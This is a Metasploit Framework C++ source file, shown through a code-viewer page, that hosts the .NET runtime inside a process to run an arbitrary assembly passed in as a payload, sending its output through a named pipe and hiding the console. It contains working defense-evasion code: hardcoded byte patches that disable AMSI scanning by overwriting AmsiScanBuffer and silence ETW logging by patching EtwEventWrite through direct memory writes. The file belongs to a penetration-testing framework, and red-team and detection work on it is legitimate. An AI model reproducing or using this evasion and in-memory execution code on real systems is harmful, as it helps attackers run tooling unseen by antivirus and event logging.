Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/HostingCLR_inject/HostingCLR/HostingCLR.cpp
19500 views
1
// Author: B4rtik (@b4rtik)
2
// Project: Execute Assembly (https://github.com/b4rtik/metasploit-execute-assembly)
3
// License: BSD 3-Clause
4
// based on
5
// https://github.com/etormadiv/HostingCLR
6
// by Etor Madiv
7
8
#include "stdafx.h"
9
#include <stdio.h>
10
#include <windows.h>
11
#include <evntprov.h>
12
#include "HostingCLR.h"
13
#include "EtwTamper.h"
14
15
// https://docs.microsoft.com/en-us/dotnet/framework/performance/etw-events-in-the-common-language-runtime
16
#define ModuleLoad_V2 152
17
#define AssemblyDCStart_V1 155
18
#define MethodLoadVerbose_V1 143
19
#define MethodJittingStarted 145
20
#define ILStubGenerated 88
21
22
#define ReportErrorThroughPipe(pipe, format, ...) {char buf[1024]; DWORD written; snprintf(buf, 1024, format, __VA_ARGS__); WriteFile(pipe, buf, (DWORD)strlen(buf), &written, NULL);}
23
24
// mov rax, <Hooked function address>
25
// jmp rax
26
unsigned char uHook[] = {
27
0xC3
28
};
29
30
#ifdef _X32
31
unsigned char amsipatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
32
#endif
33
#ifdef _X64
34
unsigned char amsipatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
35
#endif
36
37
struct Metadata
38
{
39
unsigned int pipenameLength;
40
unsigned int appdomainLength;
41
unsigned int clrVersionLength;
42
unsigned int argsSize;
43
unsigned int assemblySize;
44
unsigned char amsiBypass;
45
unsigned char etwBypass;
46
};
47
DWORD METADATA_SIZE = 22;
48
49
int executeSharp(LPVOID lpPayload)
50
{
51
HRESULT hr;
52
53
ICLRMetaHost* pMetaHost = NULL;
54
ICLRRuntimeInfo* pRuntimeInfo = NULL;
55
BOOL bLoadable;
56
ICorRuntimeHost* pRuntimeHost = NULL;
57
IUnknownPtr pAppDomainThunk = NULL;
58
_AppDomainPtr pCustomAppDomain = NULL;
59
IEnumUnknown* pEnumerator = NULL;
60
_AssemblyPtr pAssembly = NULL;
61
SAFEARRAYBOUND rgsabound[1];
62
_MethodInfoPtr pMethodInfo = NULL;
63
SAFEARRAY* pSafeArray = NULL;
64
VARIANT retVal;
65
VARIANT obj;
66
SAFEARRAY* psaStaticMethodArgs = NULL;
67
SAFEARRAY* psaEntryPointParameters = NULL;
68
VARIANT vtPsa;
69
HANDLE pipe = NULL;
70
71
char* pipeName = NULL;
72
char* appdomainName = NULL;
73
char* clrVersion = NULL;
74
wchar_t* clrVersion_w = NULL;
75
BYTE* arg_s = NULL;
76
wchar_t* appdomainName_w = NULL;
77
78
Metadata metadata;
79
80
// Structure of lpPayload:
81
// - Packed metadata, including lengths of the following fields
82
// - Pipe name (ASCII)
83
// - Appdomain name (ASCII)
84
// - Clr Version Name (ASCII)
85
// - Param data
86
// - Assembly data
87
88
memcpy(&metadata, lpPayload, METADATA_SIZE);
89
90
BYTE* data_ptr = (BYTE*)lpPayload + METADATA_SIZE;
91
92
pipeName = (char*)malloc((metadata.pipenameLength + 1) * sizeof(char));
93
memcpy(pipeName, data_ptr, metadata.pipenameLength);
94
pipeName[metadata.pipenameLength] = 0; // Null-terminate
95
data_ptr += metadata.pipenameLength;
96
97
appdomainName = (char*)malloc((metadata.appdomainLength + 1) * sizeof(char));
98
memcpy(appdomainName, data_ptr, metadata.appdomainLength);
99
appdomainName[metadata.appdomainLength] = 0; // Null-terminate
100
data_ptr += metadata.appdomainLength;
101
102
clrVersion = (char*)malloc((metadata.clrVersionLength + 1) * sizeof(char));
103
memcpy(clrVersion, data_ptr, metadata.clrVersionLength);
104
clrVersion[metadata.clrVersionLength] = 0; // Null-terminate
105
data_ptr += metadata.clrVersionLength;
106
107
// Convert to wchar
108
clrVersion_w = new wchar_t[metadata.clrVersionLength + 1];
109
size_t converted= 0;
110
mbstowcs_s(&converted, clrVersion_w, metadata.clrVersionLength + 1, clrVersion, metadata.clrVersionLength + 1);
111
112
arg_s = (unsigned char*)malloc(metadata.argsSize * sizeof(BYTE));;
113
memcpy(arg_s, data_ptr, metadata.argsSize);
114
data_ptr += metadata.argsSize;
115
116
////////////////// Hijack stdout
117
118
// Create a pipe to send data
119
pipe = CreateNamedPipeA(
120
pipeName, // name of the pipe
121
PIPE_ACCESS_OUTBOUND, // 1-way pipe -- send only
122
PIPE_TYPE_BYTE, // send data as a message stream
123
1, // only allow 1 instance of this pipe
124
0, // no outbound buffer
125
0, // no inbound buffer
126
0, // use default wait time
127
NULL // use default security attributes
128
);
129
130
if (pipe == NULL || pipe == INVALID_HANDLE_VALUE) {
131
//printf("[CLRHOST] Failed to create outbound pipe instance.\n");
132
hr = -1;
133
goto Cleanup;
134
}
135
136
// This call blocks until a client process connects to the pipe
137
BOOL result = ConnectNamedPipe(pipe, NULL);
138
if (!result) {
139
//printf("[CLRHOST] Failed to make connection on named pipe.\n");
140
hr = -1;
141
goto Cleanup;
142
}
143
144
SetStdHandle(STD_OUTPUT_HANDLE, pipe);
145
SetStdHandle(STD_ERROR_HANDLE, pipe);
146
147
///////////////////// Done hijacking stdout
148
149
rgsabound[0].cElements = metadata.assemblySize;
150
rgsabound[0].lLbound = 0;
151
pSafeArray = SafeArrayCreate(VT_UI1, 1, rgsabound);
152
153
void* pvData = NULL;
154
hr = SafeArrayAccessData(pSafeArray, &pvData);
155
156
if (FAILED(hr))
157
{
158
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed SafeArrayAccessData w/hr 0x%08lx\n", hr);
159
goto Cleanup;
160
}
161
162
// Store assembly
163
memcpy(pvData, data_ptr, metadata.assemblySize);
164
165
hr = SafeArrayUnaccessData(pSafeArray);
166
167
if (FAILED(hr))
168
{
169
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed SafeArrayUnaccessData w/hr 0x%08lx\n", hr);
170
goto Cleanup;
171
}
172
173
// Etw bypass
174
if (metadata.etwBypass)
175
{
176
int ptcResult = PatchEtw(pipe);
177
if (ptcResult == -1)
178
{
179
ReportErrorThroughPipe(pipe, "[CLRHOST] Etw bypass failed\n");
180
goto Cleanup;
181
}
182
}
183
HMODULE hMscoree = LoadLibrary("mscoree.dll");
184
FARPROC clrCreateInstance = GetProcAddress(hMscoree, "CLRCreateInstance");
185
if (clrCreateInstance == NULL)
186
{
187
ReportErrorThroughPipe(pipe, "[CLRHOST] CLRCreateInstance not present on this system.\n");
188
goto Cleanup;
189
}
190
hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&pMetaHost);
191
192
if (FAILED(hr))
193
{
194
ReportErrorThroughPipe(pipe, "[CLRHOST] CLRCreateInstance failed w/hr 0x%08lx\n", hr);
195
goto Cleanup;
196
}
197
198
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
199
hr = pMetaHost->EnumerateLoadedRuntimes(hProcess, &pEnumerator);
200
201
if (FAILED(hr))
202
{
203
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot enumerate loaded runtime w/hr 0x%08lx\n", hr);
204
goto Cleanup;
205
}
206
207
BOOL isloaded = ClrIsLoaded(clrVersion_w, pEnumerator, (VOID**)&pRuntimeInfo);
208
209
if (!isloaded)
210
{
211
hr = pMetaHost->GetRuntime(clrVersion_w, IID_ICLRRuntimeInfo, (VOID**)&pRuntimeInfo);
212
213
if (FAILED(hr))
214
{
215
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot get the required CLR version (%s) w/hr 0x%08lx\n", clrVersion, hr);
216
goto Cleanup;
217
}
218
219
hr = pRuntimeInfo->IsLoadable(&bLoadable);
220
221
if (FAILED(hr) || !bLoadable)
222
{
223
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot load the required CLR version (%s) w/hr 0x%08lx\n", clrVersion, hr);
224
goto Cleanup;
225
}
226
}
227
228
hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&pRuntimeHost);
229
230
if (FAILED(hr))
231
{
232
ReportErrorThroughPipe(pipe, "[CLRHOST] ICLRRuntimeInfo::GetInterface failed w/hr 0x%08lx\n", hr);
233
goto Cleanup;
234
}
235
236
if (!isloaded)
237
{
238
hr = pRuntimeHost->Start();
239
}
240
241
if (FAILED(hr))
242
{
243
ReportErrorThroughPipe(pipe, "[CLRHOST] CLR failed to start w/hr 0x%08lx\n", hr);
244
goto Cleanup;
245
}
246
247
// Convert to wchar
248
appdomainName_w = new wchar_t[metadata.appdomainLength+1];
249
mbstowcs_s(&converted, appdomainName_w, metadata.appdomainLength + 1, appdomainName, metadata.appdomainLength + 1);
250
251
hr = pRuntimeHost->CreateDomain(appdomainName_w, NULL, &pAppDomainThunk);
252
253
if (FAILED(hr))
254
{
255
ReportErrorThroughPipe(pipe, "[CLRHOST] ICorRuntimeHost::CreateDomain failed w/hr 0x%08lx\n", hr);
256
goto Cleanup;
257
}
258
259
hr = pAppDomainThunk->QueryInterface(__uuidof(_AppDomain), (VOID**)&pCustomAppDomain);
260
261
if (FAILED(hr))
262
{
263
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed to get default AppDomain w/hr 0x%08lx\n", hr);
264
goto Cleanup;
265
}
266
267
// Amsi bypass
268
if (metadata.amsiBypass)
269
{
270
int ptcResult = PatchAmsi(pipe);
271
if (ptcResult == -1)
272
{
273
ReportErrorThroughPipe(pipe, "[CLRHOST] Amsi bypass failed\n");
274
goto Cleanup;
275
}
276
}
277
278
hr = pCustomAppDomain->Load_3(pSafeArray, &pAssembly);
279
280
if (FAILED(hr))
281
{
282
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed pCustomAppDomain->Load_3 w/hr 0x%08lx\n", hr);
283
goto Cleanup;
284
}
285
286
hr = pAssembly->get_EntryPoint(&pMethodInfo);
287
288
if (FAILED(hr))
289
{
290
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed pAssembly->get_EntryPoint w/hr 0x%08lx\n", hr);
291
goto Cleanup;
292
}
293
294
// Let's check the number of parameters: must be either the 0-arg Main(), or a 1-arg Main(string[])
295
pMethodInfo->GetParameters(&psaEntryPointParameters);
296
hr = SafeArrayLock(psaEntryPointParameters);
297
if (!SUCCEEDED(hr))
298
{
299
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed to lock param array w/hr 0x%08lx\n", hr);
300
goto Cleanup;
301
}
302
long uBound, lBound;
303
SafeArrayGetLBound(psaEntryPointParameters, 1, &lBound);
304
SafeArrayGetUBound(psaEntryPointParameters, 1, &uBound);
305
long numArgs = uBound - lBound + 1;
306
hr = SafeArrayUnlock(psaEntryPointParameters);
307
if (!SUCCEEDED(hr))
308
{
309
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed to unlock param array w/hr 0x%08lx\n", hr);
310
goto Cleanup;
311
}
312
313
ZeroMemory(&retVal, sizeof(VARIANT));
314
ZeroMemory(&obj, sizeof(VARIANT));
315
316
obj.vt = VT_NULL;
317
vtPsa.vt = (VT_ARRAY | VT_BSTR);
318
319
switch (numArgs)
320
{
321
case 0:
322
if (metadata.argsSize > 1) // There is always a Null byte at least, so "1" in size means "0 args"
323
{
324
ReportErrorThroughPipe(pipe, "[CLRHOST] Assembly takes no arguments, but some were provided\n");
325
goto Cleanup;
326
}
327
// If no parameters set cElement to 0
328
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 0);
329
break;
330
case 1:
331
{
332
// If we have at least 1 parameter set cElement to 1
333
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1);
334
335
// Here we unfortunately need to do a trick. CommandLineToArgvW treats the first argument differently, as
336
// it expects it to be a filename. This affects situations where the first argument contains backslashes,
337
// or if there are no arguments at all (it will just create one - the process's image name).
338
// To coerce it into performing the correct data transformation, we create a fake first parameter, and then
339
// ignore it in the output.
340
341
LPWSTR* szArglist;
342
int nArgs;
343
wchar_t* wtext = (wchar_t*)malloc((sizeof(wchar_t) * (metadata.argsSize + 2)));
344
wtext[0] = L'X'; // Fake process name
345
wtext[1] = L' '; // Separator
346
347
348
mbstowcs_s(&converted, wtext+2, metadata.argsSize, (char*)arg_s, metadata.argsSize);
349
szArglist = CommandLineToArgvW(wtext, &nArgs);
350
351
free(wtext);
352
353
vtPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, nArgs - 1); // Subtract 1, to ignore the fake process name
354
355
for (long i = 1; i < nArgs; i++) // Start a 1 - ignoring the fake process name
356
{
357
size_t strlength = wcslen(szArglist[i]) + 1;
358
OLECHAR* sOleText1 = new OLECHAR[strlength];
359
char* buffer = (char*)malloc(strlength * sizeof(char));
360
361
wcstombs_s(&converted, buffer, strlength, szArglist[i], strlength);
362
363
mbstowcs_s(&converted, sOleText1, strlength, buffer, strlength);
364
BSTR strParam1 = SysAllocString(sOleText1);
365
long actualPosition = i - 1;
366
SafeArrayPutElement(vtPsa.parray, &actualPosition, strParam1);
367
free(buffer);
368
}
369
370
LocalFree(szArglist);
371
372
long iEventCdIdx(0);
373
hr = SafeArrayPutElement(psaStaticMethodArgs, &iEventCdIdx, &vtPsa);
374
break;
375
}
376
default:
377
ReportErrorThroughPipe(pipe, "[CLRHOST] Unexpected argument length: %d\n", numArgs);
378
goto Cleanup;
379
}
380
381
//Assembly execution
382
hr = pMethodInfo->Invoke_3(obj, psaStaticMethodArgs, &retVal);
383
if (FAILED(hr))
384
{
385
ReportErrorThroughPipe(pipe, "[CLRHOST] Unhandled exception when running assembly w/hr 0x%08lx\n", hr);
386
goto Cleanup;
387
}
388
389
Cleanup:
390
391
if (pipe != NULL) {
392
FlushFileBuffers(pipe);
393
DisconnectNamedPipe(pipe);
394
CloseHandle(pipe);
395
}
396
397
if (pEnumerator) {
398
pEnumerator->Release();
399
}
400
if (pMetaHost) {
401
pMetaHost->Release();
402
}
403
if (pRuntimeInfo) {
404
pRuntimeInfo->Release();
405
}
406
407
if (pRuntimeHost) {
408
if (pCustomAppDomain) {
409
pRuntimeHost->UnloadDomain(pCustomAppDomain);
410
}
411
pRuntimeHost->Release();
412
}
413
414
if (psaStaticMethodArgs) {
415
SafeArrayDestroy(psaStaticMethodArgs);
416
}
417
if (pSafeArray) {
418
SafeArrayDestroy(pSafeArray);
419
}
420
421
if (appdomainName) {
422
free(appdomainName);
423
}
424
425
if (clrVersion) {
426
free(clrVersion);
427
}
428
if (clrVersion_w) {
429
delete[] clrVersion_w;
430
}
431
432
if (arg_s) {
433
free(arg_s);
434
}
435
436
if (appdomainName_w) {
437
delete[] appdomainName_w;
438
}
439
440
return hr;
441
}
442
443
VOID Execute(LPVOID lpPayload)
444
{
445
// Attach or create console
446
if (GetConsoleWindow() == NULL) {
447
AllocConsole();
448
HWND wnd = GetConsoleWindow();
449
if (wnd)
450
{
451
ShowWindow(wnd, SW_HIDE);
452
}
453
}
454
455
HANDLE stdOut = GetStdHandle(STD_OUTPUT_HANDLE);
456
HANDLE stdErr = GetStdHandle(STD_ERROR_HANDLE);
457
458
executeSharp(lpPayload);
459
SetStdHandle(STD_OUTPUT_HANDLE, stdOut);
460
SetStdHandle(STD_ERROR_HANDLE, stdErr);
461
462
}
463
464
INT InlinePatch(LPVOID lpFuncAddress, UCHAR* patch, int patchsize) {
465
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
466
ZwProtectVirtualMemory = (pNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
467
ZwWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
468
469
LPVOID lpBaseAddress = lpFuncAddress;
470
ULONG OldProtection, NewProtection;
471
SIZE_T uSize = patchsize;
472
NTSTATUS status = ZwProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, PAGE_EXECUTE_READWRITE, &OldProtection);
473
if (status != STATUS_SUCCESS) {
474
return -1;
475
}
476
477
status = ZwWriteVirtualMemory(NtCurrentProcess(), lpFuncAddress, (PVOID)patch, patchsize, NULL);
478
if (status != STATUS_SUCCESS) {
479
return -1;
480
}
481
482
status = ZwProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, OldProtection, &NewProtection);
483
if (status != STATUS_SUCCESS) {
484
return -1;
485
}
486
487
return 0;
488
}
489
490
BOOL PatchEtw(HANDLE pipe)
491
{
492
HMODULE lib = LoadLibraryA("ntdll.dll");
493
if (lib == NULL)
494
{
495
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot load ntdll.dll");
496
return -2;
497
}
498
LPVOID lpFuncAddress = GetProcAddress(lib, "EtwEventWrite");
499
if (lpFuncAddress == NULL)
500
{
501
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot get address of EtwEventWrite");
502
return -2;
503
}
504
505
return InlinePatch(lpFuncAddress, uHook, sizeof(uHook));
506
}
507
508
BOOL PatchAmsi(HANDLE pipe)
509
{
510
511
HMODULE lib = LoadLibraryA("amsi.dll");
512
if (lib == NULL)
513
{
514
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot load amsi.dll");
515
return -2;
516
}
517
518
LPVOID addr = GetProcAddress(lib, "AmsiScanBuffer");
519
if (addr == NULL)
520
{
521
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot get address of AmsiScanBuffer");
522
return -2;
523
}
524
525
return InlinePatch(addr, amsipatch, sizeof(amsipatch));
526
}
527
528
BOOL ClrIsLoaded(LPCWSTR version, IEnumUnknown* pEnumerator, LPVOID* pRuntimeInfo) {
529
HRESULT hr;
530
ULONG fetched = 0;
531
DWORD vbSize = 260;
532
BOOL retval = FALSE;
533
wchar_t currentversion[260];
534
535
while (SUCCEEDED(pEnumerator->Next(1, (IUnknown**)pRuntimeInfo, &fetched)) && fetched > 0)
536
{
537
hr = ((ICLRRuntimeInfo*)*pRuntimeInfo)->GetVersionString(currentversion, &vbSize);
538
if (!FAILED(hr))
539
{
540
if (wcscmp(currentversion, version) == 0)
541
{
542
retval = TRUE;
543
break;
544
}
545
}
546
((ICLRRuntimeInfo*)*pRuntimeInfo)->Release();
547
}
548
549
return retval;
550
}
551